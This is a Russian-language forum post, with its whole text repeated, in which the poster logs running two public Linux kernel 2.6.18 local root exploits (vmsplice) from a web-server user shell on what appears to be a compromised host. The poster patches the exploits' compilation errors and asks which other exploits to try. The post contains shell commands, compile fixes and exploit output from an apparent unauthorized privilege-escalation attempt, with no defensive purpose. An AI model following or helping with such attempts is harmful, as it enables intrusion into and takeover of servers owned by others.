M@rtein
03.04.2010, 12:09
Такая проблема, пробовал 2 сплоита по ядро, при компиляции обоих gcc ругался на 'PAGE_SIZE' undeclared
Тогда в начале каждого добавил #define PAGE_SIZE getpagesize()
Правильно ли я поступил? Какие еще сплоиты можно попробовать.
Ниже лог работы:
sh-3.2$ uname -a
Linux srvb001.a098.domen.com 2.6.18-164.9.1.el5 #1 SMP Tue Dec 15 20:57:57 ES
T 2009 x86_64 x86_64 x86_64 GNU/Linux
# Title: 2.6.18-20 2009 Local Root Exploit
# Author: DigitALL
# Published: 2009-12-23
Cmd line: -l -p 31337
sh: no job control in this shell
sh-3.2$ id
uid=101(lighttpd) gid=105(lighttpd) groups=105(lighttpd)
sh-3.2$ mount
/dev/mapper/VolGroup00-LogVol00 on / type ext3 (rw)
proc on /proc type proc (rw)
sysfs on /sys type sysfs (rw)
devpts on /dev/pts type devpts (rw,gid=5,mode=620)
/dev/sda1 on /boot type ext3 (rw)
tmpfs on /dev/shm type tmpfs (rw)
/dev/sdb1 on /home type ext3 (rw)
none on /proc/sys/fs/binfmt_misc type binfmt_misc (rw)
sunrpc on /var/lib/nfs/rpc_pipefs type rpc_pipefs (rw)
sh-3.2$ cd /tmp
sh-3.2$ mkdir logs
sh-3.2$ cd ./logs
sh-3.2$ touch 1.c
sh-3.2$ chmod +x 1.c
sh-3.2$ whereis gcc
gcc: /usr/bin/gcc /usr/lib/gcc /usr/libexec/gcc /usr/share/man/man1/gcc.1.gz
sh-3.2$ gcc 1.c -o 1
1.c: In function 'main':
1.c:193: error: 'PAGE_SIZE' undeclared (first use in this function)
1.c:193: error: (Each undeclared identifier is reported only once
1.c:193: error: for each function it appears in.)
Дописал директиву #define PAGE_SIZE getpagesize()
скомпилилось успешно
sh-3.2$ gcc 1.c -o 1
sh-3.2$ ./1
-----------------------------------
Linux 2.6.18-20 2009 Local Root Exploit
By DigitALL
-----------------------------------
[+] mmap: 0x100000000000 .. 0x100000001000
[+] page: 0x100000000000
[+] page: 0x100000000038
[+] mmap: 0x4000 .. 0x5000
[+] page: 0x4000
[+] page: 0x4038
[+] mmap: 0x1000 .. 0x2000
[+] page: 0x1000
[+] mmap: 0x2b641ed0a000 .. 0x2b641ed3c000
[-] vmsplice: Bad address
jessica_biel_naked_in_my_bed.c
Система та же.
sh-3.2$ cd /tmp
sh-3.2$ mkdir logs
sh-3.2$ cd ./logs
sh-3.2$ touch 2.c
sh-3.2$ chmod +x 2.c
sh-3.2$ gcc -static -Wno-format 2.c -o 2
2.c: In function 'main':
2.c:211: error: 'PAGE_SIZE' undeclared (first use in this function)
2.c:211: error: (Each undeclared identifier is reported only once
2.c:211: error: for each function it appears in.)
Дописал директиву #define PAGE_SIZE getpagesize()
скомпилилось успешно
sh-3.2$ gcc -static -Wno-format 2.c -o 2
sh-3.2$ ./2
-----------------------------------
Linux vmsplice Local Root Exploit
By qaaz
-----------------------------------
[+] mmap: 0x100000000000 .. 0x100000001000
[+] page: 0x100000000000
[+] page: 0x100000000038
[+] mmap: 0x4000 .. 0x5000
[+] page: 0x4000
[+] page: 0x4038
[+] mmap: 0x1000 .. 0x2000
[+] page: 0x1000
[+] mmap: 0x2ad8ad5cc000 .. 0x2ad8ad5fe000
[-] vmsplice: Bad address
Тогда в начале каждого добавил #define PAGE_SIZE getpagesize()
Правильно ли я поступил? Какие еще сплоиты можно попробовать.
Ниже лог работы:
sh-3.2$ uname -a
Linux srvb001.a098.domen.com 2.6.18-164.9.1.el5 #1 SMP Tue Dec 15 20:57:57 ES
T 2009 x86_64 x86_64 x86_64 GNU/Linux
# Title: 2.6.18-20 2009 Local Root Exploit
# Author: DigitALL
# Published: 2009-12-23
Cmd line: -l -p 31337
sh: no job control in this shell
sh-3.2$ id
uid=101(lighttpd) gid=105(lighttpd) groups=105(lighttpd)
sh-3.2$ mount
/dev/mapper/VolGroup00-LogVol00 on / type ext3 (rw)
proc on /proc type proc (rw)
sysfs on /sys type sysfs (rw)
devpts on /dev/pts type devpts (rw,gid=5,mode=620)
/dev/sda1 on /boot type ext3 (rw)
tmpfs on /dev/shm type tmpfs (rw)
/dev/sdb1 on /home type ext3 (rw)
none on /proc/sys/fs/binfmt_misc type binfmt_misc (rw)
sunrpc on /var/lib/nfs/rpc_pipefs type rpc_pipefs (rw)
sh-3.2$ cd /tmp
sh-3.2$ mkdir logs
sh-3.2$ cd ./logs
sh-3.2$ touch 1.c
sh-3.2$ chmod +x 1.c
sh-3.2$ whereis gcc
gcc: /usr/bin/gcc /usr/lib/gcc /usr/libexec/gcc /usr/share/man/man1/gcc.1.gz
sh-3.2$ gcc 1.c -o 1
1.c: In function 'main':
1.c:193: error: 'PAGE_SIZE' undeclared (first use in this function)
1.c:193: error: (Each undeclared identifier is reported only once
1.c:193: error: for each function it appears in.)
Дописал директиву #define PAGE_SIZE getpagesize()
скомпилилось успешно
sh-3.2$ gcc 1.c -o 1
sh-3.2$ ./1
-----------------------------------
Linux 2.6.18-20 2009 Local Root Exploit
By DigitALL
-----------------------------------
[+] mmap: 0x100000000000 .. 0x100000001000
[+] page: 0x100000000000
[+] page: 0x100000000038
[+] mmap: 0x4000 .. 0x5000
[+] page: 0x4000
[+] page: 0x4038
[+] mmap: 0x1000 .. 0x2000
[+] page: 0x1000
[+] mmap: 0x2b641ed0a000 .. 0x2b641ed3c000
[-] vmsplice: Bad address
jessica_biel_naked_in_my_bed.c
Система та же.
sh-3.2$ cd /tmp
sh-3.2$ mkdir logs
sh-3.2$ cd ./logs
sh-3.2$ touch 2.c
sh-3.2$ chmod +x 2.c
sh-3.2$ gcc -static -Wno-format 2.c -o 2
2.c: In function 'main':
2.c:211: error: 'PAGE_SIZE' undeclared (first use in this function)
2.c:211: error: (Each undeclared identifier is reported only once
2.c:211: error: for each function it appears in.)
Дописал директиву #define PAGE_SIZE getpagesize()
скомпилилось успешно
sh-3.2$ gcc -static -Wno-format 2.c -o 2
sh-3.2$ ./2
-----------------------------------
Linux vmsplice Local Root Exploit
By qaaz
-----------------------------------
[+] mmap: 0x100000000000 .. 0x100000001000
[+] page: 0x100000000000
[+] page: 0x100000000038
[+] mmap: 0x4000 .. 0x5000
[+] page: 0x4000
[+] page: 0x4038
[+] mmap: 0x1000 .. 0x2000
[+] page: 0x1000
[+] mmap: 0x2ad8ad5cc000 .. 0x2ad8ad5fe000
[-] vmsplice: Bad address